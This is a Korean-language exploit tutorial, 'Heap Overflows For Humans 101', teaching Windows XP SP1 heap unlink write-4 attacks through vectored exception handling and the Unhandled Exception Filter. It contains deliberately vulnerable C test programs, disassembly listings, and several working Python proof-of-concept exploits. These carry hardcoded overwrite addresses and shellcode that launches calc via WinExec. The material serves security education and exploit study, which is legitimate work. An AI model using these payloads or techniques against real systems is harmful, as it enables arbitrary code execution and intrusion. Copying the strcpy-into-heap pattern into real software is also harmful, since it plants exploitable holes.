Heap Overflows For Humans 101 xptr33@gmail.com candypython@gmail.com 우리는이전에스택기반의버퍼오버플로우와포멧스트링취약점에대해이야기 했다. 지금시간에는한단계더나아리가서윈도우즈힙매니저와함께놀자 Unlink() to execute a write 4 primitive 그전까지는해커들은스택오버플로우에서예외처리루틴을호출시키든어떤방법으로든 Execution Pointer (EIP) 를컨트롤할수있었다. 이번문서에서는해커들이직접적으로 EIP와 SEH (Structured Exception Handling) 를이용한 exploit 방식을제외하고시도해왔던여러기술들에대해서논해보도록하겠다. 정해진값으로우리가선택한메모리위치를덮어씀으로서, 임의의 DWORD (double word, 32bit) 값을덮어씌울수있었다. 만약지금이문서를읽을여러분들이중급 / 고급단계의스택기반버퍼오버플로우를아직완전히익히지못한상태라면이분야에일단집중하기를권유한다. 여기서다룰내용들은이미쓸모없고한동안묻혀진기법들이다. 그렇기때문에윈도우힙관리자를익스플로잇하는더새로운기법들을찾는것이라면 1
이문서를보고있을필요가없다. 지금당신에게필요한것 : Windows XP 서비스팩 1 디버거 (Olly Debugger, Immunity Debugger, Windbg etc) A C/C++ 컴파일러 (Dev C++, lcc 32, MS visual C++ 6.0 etc) 사용하기쉬운스크립터언어 (python, perl etc) 뇌 (Brain..? 그리고.. 혹은? 인내력 ) 어셈블리, C 에대한충분한지식, 그리고디버깅능력 HideDbg 플러그인 under Olldbg 혹은!hidedebug under Immunity Debugger 시간 먼저핵심이되는가장기초적이고기본적인것부터살펴볼것이다. 지금설명할익스플로잇기술들은 Real world" 에적용하기엔이미시대에뒤떨어진기술들이지만여기서짚고넘어가야할점은그다음단계의기술들을배우고자한다면과거의것들도반드시알고또배워야한다는것이다. 자, 그럼본론으로넘어갈까요? What is the heap and how does it work under XP? 힙 (heap) 은프로세스에서내부적으로데이터를담는일종의저장공간 (storage) 이다. 각프로세스는응용프로그램의요구에따라동적으로힙메모리를할당하고해제를하게되는데, 메모리영역관련해서꼭알아야될사항이있다면스택 (stack) 은 0x00000000을향해서자라고, 반면에힙 (heap) 은 0xFFFFFFFF을향해자란다는것이다. 이말은즉프로세스가 HeapAllocate() 를두번에걸쳐호출하게되면두번째호출된함수가첫번째호출된함수보다더높은포인터를반환한다는것이다. 2
따라서, 첫힙블록 (block) 에서오버플로우가발생되면두번째블록에서도오버플로우가발생할수있다는것이다. 모든프로세스는그것이기본프로세스힙이든사용자의요구에의해동적으로할당된힙이든여러형태의자료구조를가진다. 그중에하나가바로 128개의 LIST_ENTRY 구조체배열이다. 이구조체배열은 아직할당되지못한 혹은 할당대기로자유로운메모리블록들 (free blocks) 을추적관리하는역할을한다. 이 LIST의각항목들은두개의포인터를지니고, 이배열은힙구조체 (struct _HEAP {}) 의한멤버로써그것의시작지점은구조체내부에서 0x178 오프셋에위치한다. typedef struct _HEAP { HEAP_ENTRY Entry; ULONG SegmentSignature; ULONG SegmentFlags;... LIST_ENTRY FreeLists; // +0x178 } // _HEAP 구조체 윈도우커널은커널모드드라이버가표준드라이버루틴 (standard driver routines) 과드라이버제공루틴 (driver support routines) 을수행하기위해사용될데이터형태 (data types), 상수들 (enumerations and constants) 을정의해놓았다. LIST_ENTRY는이러한커널에서제공하는데이터구조들 (types/structures) 중하나에속한다. ( 레퍼런스 1) 3
윈도우운영체제에서는 LIST_ENTRY 구조체를사용하여이중링크드리스트 (Doubly linked list) 를내부적으로구현해주는데, 이이중링크드리스트는이리스트의머리부분에해당되는 Head 부분 (a list head) 과그뒤로사슬처럼연결되어관리되는각 LIST_ENTRY 구조체항목들 (a list entries) 로이루어져있다. 즉, 리스트머리부분과항목들모두 LIST_ENTRY 구조체형태로이루어져있다. 만약이중링크드리스트가비어있다면리스트항목의개수는당연히 0이다. typedef struct _LIST_ENTRY { struct _LIST_ENTRY *Flink; // Foward Link > 다음 Entry 를가리키는포인터 struct _LIST_ENTRY *Blink; // Backward Link > 이전 Entry 를가리키는포인터 } LIST_ENTRY, *PLIST_ENTRY; // _LIST_ENTRY 구조체 위와같이 LIST_ENTRY 구조체는 LIST_ENTRY 구조체를가리키는 Flink 와 Blink 구조체 포인터를지니고있다. 이멤버들의역할은 LIST_ENTRY 구조체가리스트의어떤 부분에속하느냐에따라조금씩다른데, 이는아래와같이두형태로나뉜다 : 1. 머리부분 (list head) 을표현하는 LIST_ENTRY 구조체의경우, Flink 멤버는리스트의첫번째항목 (Entry) 을가리키게되고, Blink 멤버는리스트의마지막항목을가리키게된다. 만약리스트가비어있다면머리부분의 Flink와 Blink 모두 (both) 머리부분자기자신을가리키게된다. 2. 반면, 리스트의각항목들을표현하는 LIST_ENTRY 구조체의경우, Flink 멤버는리스트의다음항목을가리키고, Blink 멤버는이전항목을가리키는데만약자신이속해있는항목이리스트의맨마지막항목이면 Flink가머리부분을가리키고, 그게아닌리스트의맨처음항목이면 Blink가머리부분을 4
가리키게된다. 이중링크드리스트를조작하는루틴은결국엔리스트의머리부분에해당되는 LIST_ENTRY로포인터를가져가게되는데, 이때이루틴이 Flink와 Blink가마지막에만들어진리스트의맨처음항목과마지막항목을가리키게끔업데이트시켜주는일련의코드들을실행시켜준다. 윈도우에서위와같은자료구조를사용하는이유는중간에어떠한새로운항목혹은객체 ( 이문서의경우, 힙 ) 가추가되거나제거될때이중링크드리스트가가장프로그램수행능력에있어서매우효율적이고이상적이기때문이다. 더자세한동작과정이나수행과정은레퍼런스 2) 를참조하면되겠다. 본론으로다시돌아가서힙도이와같은자료구조로관리된다. 힙이할당되기전에할당될첫번째 Free 블록을가리키고있는두포인터는 FreeLists[0] 에담겨있다. 반대로, 이두포인터가가리키고있는주소에는 FreeList[0] 을가리키는두포인터가자리잡고있다. 이점을유념해두고, 이걸생각해보자. 현재시작주소가 0x00650000인힙메모리와 0x00650688에아직할당되지않은첫 Free 블록이위치해있다고가정해보자. 그렇다면우리는다음 4가지주소들에대해생각해볼수있다 : 1. 0x00650178 (Freelist[0].Flink) 엔 0x00650688 ( 첫 Free 블록 ) 을가리키는포인터가존재. 2. 0x006517c (Freelist[0].Blink) 엔 0x00650688 ( 첫 Free 블록 ) 을가리키는포인터가존재. 5
3. 0x00650688 ( 첫 Free 블록 ) 엔 0x00650178 (Freelist[0]) 을가리키는포인터가존재. 4. 0x0065068c ( 첫 Free 블록 ) 엔 0x00650178 (Freelist[0]) 을가리키는포인터가존재. 이때첫번째 Free 블록이었던힙이할당되게되면 Freelist[0].Flink와 Freelist[0].Blink 포인터들은할당될다른 Free 블록을가리키게끔변경된다. 더나아가, Freelist를가리키던두포인터들은새로할당된블록의끝을가리키게된다. 매번이러한블록들이할당되거나해제될때마다이러한포인터들은계속변경된다. 따라서, 힙의할당과해제는이중링크드리스트를통해서항상추적관리될수있다. 위와같은과정에서이번기법에관련한힙오버플로우취약점이발생하게되는데, 이는리스트항목들의유효성을검증하지않은상태에서포인터변경을했다는점이주된원인이된다. 위와같은상황에서해커가힙오버플로우를일으키게되면이중링크드리스트가새로힙을할당하는과정에서포인터를변경하게되면서임의의 DWORD 값을덮어씌울수있게되는취약점이발생한다. 즉, Flink와 Blink가값이프로그램의의도와는다르게예상치못하게변경될수있다. Exploiting Heap Overflows using Vectored Exception Handling 먼저, heap veh.c 코드를살펴보도록하자. 6
#include <windows.h> #include <stdio.h> DWORD MyExceptionHandler(void); int foo(char *buf); int main(int argc, char *argv[]) { HMODULE l; l = LoadLibrary("msvcrt.dll"); l = LoadLibrary("netapi32.dll"); printf("\n\nheapoverflow program.\n"); if(argc!= 2) return printf("args!"); foo(argv[1]); return 0; } DWORD MyExceptionHandler(void) { printf("in exception handler..."); ExitProcess(1); return 0; } int foo(char *buf) { HLOCAL h1 = 0, h2 = 0; HANDLE hp; try{ hp = HeapCreate(0,0x1000,0x10000); if(!hp){ return printf("failed to create heap.\n"); } h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260); printf("heap: %.8X %.8X\n",h1,&h1); // Heap Overflow occurs here: strcpy(h1,buf); // This second call to HeapAlloc() is when we gain control h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260); 7
printf("hello"); } except(myexceptionhandler()) { printf("oops..."); } return 0; } 위의코드에서우리는 try 구문에의해서예외처리가이루어질것을상상할수있다. Windows XP 서비스팩 1에서당신이좋아하는컴파일러로위코드를컴파일하고시작해보도록하자. 커맨드라인에서프로그램을실행시켜보면 argv에 260 바이트크기의인자를넣게되면예외처리루틴이발생하는것을확인할수있다. 당연히우리가이것을디버거에서실행해본다면우리는두번째힙할당부분을장악할 수있게된다. ( 왜냐하면 freelist[0] 이첫번째할당에의해서우리의공격문자열로 업데이트되기때문이다 ) 8
MOV DWORD PTR DS:[ECX],EAX MOV DWORD PTR DS:[EAX+4],ECX 위명령어는 EAX의현재값을 ECX의포인터로그리고 ECX의현재값을 EAX+4의포인터가되게끔만들라 라는말이다. 이것으로부터우리는처음할당된메모리블록을해제시키거나끊을수있다는것을알게된다. 결국이것이의미하는바는 : 1. EAX ( 우리가쓸내용 ) : Blink 2. ECX ( 내용을쓸위치 ) : Flink 9
So what is the vectored exception handling? Vectored Exception Handling 은윈도우 XP 가첫출시되었을당시에도입된 개념으로써 XP 는힙영역에예외처리등록구조체 (exception registration structures) 란것을담게된다. struct _VECTORED_EXCEPTION_NODE { DWORD m_pnextnode; DWORD m_ppreviousnode; PVOID m_pfnvectoredhandler; } 여기서당신이알아야될점은 m_pnextnode 가다음 _VECTORED_EXCEPTION_NODE 구조체를가리킨다는것이다. 따라서, 우리는 _VECTORED_EXCEPTION_NODE(m_pNextNode) 를가리키는포인터를 우리가임의로변조해서만들어낸포인터로덮어씌우기만하면된다. ( 이덮어씌우는과정은위에서설명했듯이 MOV DWORD PTR DS: [ecx], eax 명령어를이용하면된다. ECX, EAX 컨트롤할수있으니까 ) 그렇다면이걸무엇으로덮어씌울것인가? 일단 _VECTORED_EXCEPTION_NODE 를 배치시키는코드를한번살펴보도록하자. 77F7F49E 8B35 1032FC77 MOV ESI,DWORD PTR DS:[77FC3210] 77F7F4A4 EB 0E JMP SHORT ntdll.77f7f4b4 77F7F4A6 8D45 F8 LEA EAX,DWORD PTR SS:[EBP 8] 77F7F4A9 50 PUSH EAX 77F7F4AA FF56 08 CALL DWORD PTR DS:[ESI+8] 10
자보면우리는 _VECTORED_EXCEPTION_NODE 의포인터를 ESI로옮기고조금있다보면 ESI+8을호출하는것을볼수있다. 만약에 _VECTORED_EXCEPTOIN_NODE의다음포인터를쉘코드 0x8를가리키는포인터로덮어씌운다면, 깔끔하게쉘코드위로실행흐름을안착시킬수있을것이다. 그렇다면쉘코드의주소는어떻게찾을것인가? 스택에서찾으면된다. 스택에서찾아낸쉘코드의주소값이 0x12ff40이라고하면결과적으로는 ESI+8을호출하기때문에찾은쉘코드주소에 0x8을빼준값으로덮어씌워야될것이다. 따라서, ECX는 0x0012ff38이될것이다. 그렇다면 m_nextnode ( 다음 _VECTORED_EXCEPTION_NODE을가리키는포인터 ) 의 11
값은어디서찾을것인가? 방법은이렇다. Olly( 혹은 immunity debugger) 에서 Access violation이발생하면 shift+f7을눌러코드를진행시킬수있기때문에예외처리루틴을계속분석할수있다. 코드는첫번째 _VECTORED_EXCEPTION_NODE를호출하게끔만들어줄것이다. 그리고그것이당신이찾을포인터를알려줄것이다. 77F60C2C BF 1032FC77 77F60C31 393D 1032FC77 77F60C37 0F85 48E80100 MOV EDI,ntdll.77FC3210 CMP DWORD PTR DS:[77FC3210],EDI JNZ ntdll.77f7f485 보시다시피, 당신이찾으려면 m_pnextnode 값은코드로인해 EDI로담겨지는것을볼수있다. 좋다. 그렇다면그값을 EAX로지정하면된다. 따라서 ECX = 0x77fc3210, EAX = 0x0012ff38가된다. 하지만이게끝이아니다. EAX와 ECX에덮기까지의 offset을당연히구해줘야한다. 그래서 MSF 패턴을생성해서어플리케이션에먹여준다. 여러분들에게보는즐거움을선사하기위해하는방법을짧게나마보여주도록하겠다. msf 패턴은다음과방식으로생성하면된다. Step 1 msf 패턴을만들어라. 12
Step 2 공격하려는어플리케이션에먹여라 Step 3 안티디버깅을켜놓고예외처리를발생시킨상태에서오프셋을계산해내라. 개념증명을위해 PoC(Proof of Concept) 익스플로잇을살펴보자. 13
import os # _vectored_exception_node exploit = ("\xcc" * 272) # ECX pointer to next _VECTORED_EXCEPTION_NODE = 0x77fc3210-0x04 # due to second MOV writes to EAX+4 == 0x77fc320c exploit += ("\x0c\x32\xfc\x77") # ECX # EAX ptr to shellcode located at 0012ff40-0x8 == 0012ff38 exploit += ("\x38\xff\x12") # EAX - we dont need the null byte os.system('"c:\\documents and Settings\\Steve\\Desktop\\odbg110\\OLLYDBG.EXE" heap-veh.exe ' + exploit) 지금이단계에서는 ECX 명령이 null 바이트를담고있기때문에그뒤로쉘코드를넣을수없다. 전튜토리얼 Debugging an SEH 0day에서이와같은일을기억할것이다. 하지만이것은항상그렇진않을것이다. 왜냐하면이예제에서는 strcpy를이용해서버퍼에있는값들을힙에다가집어넣기때문이다. 좋다그럼이시점에선 \cc 에다 breakpoint를걸고이것을쉘코드로대체하기만하면된다. 쉘코드의길이는 272 바이트보다크면안될것이다. 왜냐하면이곳이쉘코드를놓을수있는유일한지점이기때문이다. # _vectored_exception_node 14
import os import win32api calc = ("\xda\xcb\x2b\xc9\xd9\x74\x24\xf4\x58\xb1\x32\xbb\xfa\xcd" + "\x2d\x4a\x83\xe8\xfc\x31\x58\x14\x03\x58\xee\x2f\xd8\xb6" + "\xe6\x39\x23\x47\xf6\x59\xad\xa2\xc7\x4b\xc9\xa7\x75\x5c" + "\x99\xea\x75\x17\xcf\x1e\x0e\x55\xd8\x11\xa7\xd0\x3e\x1f" + "\x38\xd5\xfe\xf3\xfa\x77\x83\x09\x2e\x58\xba\xc1\x23\x99" + "\xfb\x3c\xcb\xcb\x54\x4a\x79\xfc\xd1\x0e\x41\xfd\x35\x05" + "\xf9\x85\x30\xda\x8d\x3f\x3a\x0b\x3d\x4b\x74\xb3\x36\x13" + "\xa5\xc2\x9b\x47\x99\x8d\x90\xbc\x69\x0c\x70\x8d\x92\x3e" + "\xbc\x42\xad\x8e\x31\x9a\xe9\x29\xa9\xe9\x01\x4a\x54\xea" + "\xd1\x30\x82\x7f\xc4\x93\x41\x27\x2c\x25\x86\xbe\xa7\x29" + "\x63\xb4\xe0\x2d\x72\x19\x9b\x4a\xff\x9c\x4c\xdb\xbb\xba" + "\x48\x87\x18\xa2\xc9\x6d\xcf\xdb\x0a\xc9\xb0\x79\x40\xf8" + "\xa5\xf8\x0b\x97\x38\x88\x31\xde\x3a\x92\x39\x71\x52\xa3" + "\xb2\x1e\x25\x3c\x11\x5b\xd9\x76\x38\xca\x71\xdf\xa8\x4e" + "\x1c\xe0\x06\x8c\x18\x63\xa3\x6d\xdf\x7b\xc6\x68\xa4\x3b" + "\x3a\x01\xb5\xa9\x3c\xb6\xb6\xfb\x5e\x59\x24\x67\xa1\x93") exploit = ("\x90" * 5) exploit += (calc) exploit += ("\xcc" * (272-len(exploit))) # ECX pointer to next _VECTORED_EXCEPTION_NODE = 0x77fc3210-0x04 # due to second MOV writes to EAX+4 == 0x77fc320c exploit += ("\x0c\x32\xfc\x77") # ECX # EAX ptr to shellcode located at 0012ff40-0x8 == 0012ff38 exploit += ("\x38\xff\x12") # EAX - we dont need the null byte win32api.winexec(('heap-veh.exe %s') % exploit, 1) Exploiting Heap Overflows using the Unhandled Exception Filter 15
Unhandler Exception Filter는어플리케이션이종료되기직전에호출되는마지막예외다. 갑자기어플리케이션크래시가발생할때 예기치않은에러가발생했습니다 라는아주일반적인메세지의원인이된다. 이시점까지, 우리는 EAX와 ECX를컨트를하고두레지스터의오프셋위치를아는단계까지이르렀다. import os exploit = ("\xcc" * 272) exploit += ("\x41" * 4) # ECX exploit += ("\x42" * 4) # EAX exploit += ("\xcc" * 272) os.system('"c:\\documents and Settings\\Steve\\Desktop\\odbg110\\OLLYDBG.EXE" heap-uef.exe ' + exploit) 지난예제와달리, 우리의 hea uef.c 파일은사용자정의예외핸들러가정의된흔적이 없다. 이의미는우리가익스플로잇하는데 Microsofts 의기본 Unhandled Exception Filter 를사용한다는것이다. 아래에 heap uef.c 이다 : #include <stdio.h> #include <windows.h> int foo(char *buf); int main(int argc, char *argv[]) { HMODULE l; l = LoadLibrary("msvcrt.dll"); l = LoadLibrary("netapi32.dll"); printf("\n\nheapoverflow program.\n"); if(argc!= 2) return printf("args!"); foo(argv[1]); return 0; } 16
int foo(char *buf) { HLOCAL h1 = 0, h2 = 0; HANDLE hp; hp = HeapCreate(0,0x1000,0x10000); if(!hp) return printf("failed to create heap.\n"); h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260); printf("heap: %.8X %.8X\n",h1,&h1); // Heap Overflow occurs here: strcpy(h1,buf); // We gain control of this second call to HeapAlloc h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260); printf("hello"); return 0; } 이종류의오버플로우를디버깅할때예외필터가호출되고오프셋이올바른위치에있으려면올리나이뮤니티디버거에내장된안티디버깅기능을켜는것이중요하다. 우리는 4바이트를써서어디로갈수있는지반드시찾아야한다. 이것은 Unhandled Exception Filter에대한포인터가될것이다. 이것은 SetUnhandledExceptionFilter() 에코드를살펴보면찾을수있다. MOV 가 UnhandledExceptionFilter (0x77ed73b4) 주소에값을쓰는것을볼수있다 : 17
이시점에서 SetUnhandledExceptionFilter() 가호출되면서 ECX의값을 UnhandledExceptionFilter 주소가가리키는부분에쓰게될것이다. 이부분이처음엔어떻게보면 unlink() 과정에서 ECX를 EAX 혼동될수있는부분이지만우리가여기서하고자하는것은 SetUnhandledExceptionFilter() 함수가 UnhandledExceptionFilter() 함수를호출하는그방식을악용하려는것이다. 따라서, 우리는 ECX가쉘코드로흐름을 (control) 돌려놓을 (pivot) 포인터를가지고있을거라고안심해서말할수있다. 다음에보일코드가당신의의문점을싹사라지게만들어줄것이다. 77E93114 A1 B473ED77 MOV EAX,DWORD PTR DS:[77ED73B4] 77E93119 3BC6 CMP EAX,ESI 77E9311B 74 15 JE SHORT kernel32.77e93132 77E9311D 57 PUSH EDI 77E9311E FFD0 CALL EAX 기본적으로 UnhandledExceptionFilter() 에있는값이 EAX 로파싱되어옮겨지고다음 18
코드들을보면머지않아 EAX가호출되는것을확인할수있을것이다. 그래서우리는공격자의포인터를가리키는 UnhandledExceptionFilter() 주소 (77ED73B4 points to 공격자의포인터 ) 를가지고이걸이용하면공격자의포인터는 UnhandledExceptionFiler() 에의해역참조되어 EAX에저장되고호출되어실행된다. 그포인터 ( 밑의 call dword ptr ds:[edi+74] 를말하는것같다 ) 는결국쉘코드혹은쉘코드로되돌릴명령어로제어권을넘길것이다. EDI를살펴보면, EDI+0x78 부분에우리의쉘코드 (payload) 를가리키는포인터가있음 ( 주소값 ) 을확인할수있다. 그래서우리가간단히이포인터를호출할수있으면쉘코드를실행시킬수있다. 그러므로, 우리는 EAX 에들어갈다음과같은명령어주소가필요하다. call dword ptr ds:[edi+74] ( 따라서, EAX = 77C3BBAD) 이명령어는 XP sp1 에 MS 모듈에서쉽게찾을수있다. 19
그래서이값을 PoC 에체우고어디에위치하는지확인한다. import os exploit = ("\xcc" * 272) exploit += ("\xad\xbb\xc3\x77") # ECX 0x77C3BBAD --> call dword ptr ds:[edi+74] exploit += ("\xb4\x73\xed\x77") # EAX 0x77ED73B4 --> UnhandledExceptionFilter() exploit += ("\xcc" * 272) os.system('"c:\\documents and Settings\\Steve\\Desktop\\odbg110\\OLLYDBG.EXE" heap-uef.exe ' + exploit) 물론우리는간단한게쉘코드부분의오프셋을계산하고우리의 JMP 명령어코드와 쉘코드를삽입한다. 20
import os calc = ("\x33\xc0\x50\x68\x63\x61\x6c\x63\x54\x5b\x50\x53\xb9" "\x44\x80\xc2\x77" # address to WinExec() "\xff\xd1\x90\x90") exploit = ("\x44" * 264) exploit += "\xeb\x14" # our JMP (over the junk and into nops) exploit += ("\x44" * 6) exploit += ("\xad\xbb\xc3\x77") # ECX 0x77C3BBAD --> call dword ptr ds:[edi+74] exploit += ("\xb4\x73\xed\x77") # EAX 0x77ED73B4 --> UnhandledExceptionFilter() exploit += ("\x90" * 21) exploit += calc os.system('heap-uef.exe ' + exploit) 따란 ~! 21
Conclusion: 우리는윈도우 XP sp1 이전에대부분원시적인 Unlink() 익스플로잇을위한두기술을시연했다. 동일한상황에서 RtlEnterCriticalSection 이나 TEB Exception Handler 익스플로잇같은다른테크닉또한적용된다. 이어서윈도우XP sp2 와 3에 Unlink() (HeapAlloc/HeapFree) 익스플로잇을증명하고윈도우힙보호를우회할것이다. PoC's: 레퍼런스 : http://www.exploit db.com/exploits/12240/ http://www.exploit db.com/exploits/15957/ 1.Http://msdn.microsoft.com/en us/library/windows/hardware/ff563802(v=vs.85).aspx 2.Http://msdn.microsoft.com/en us/library/windows/hardware/ff553197(v=vs.85).aspx 22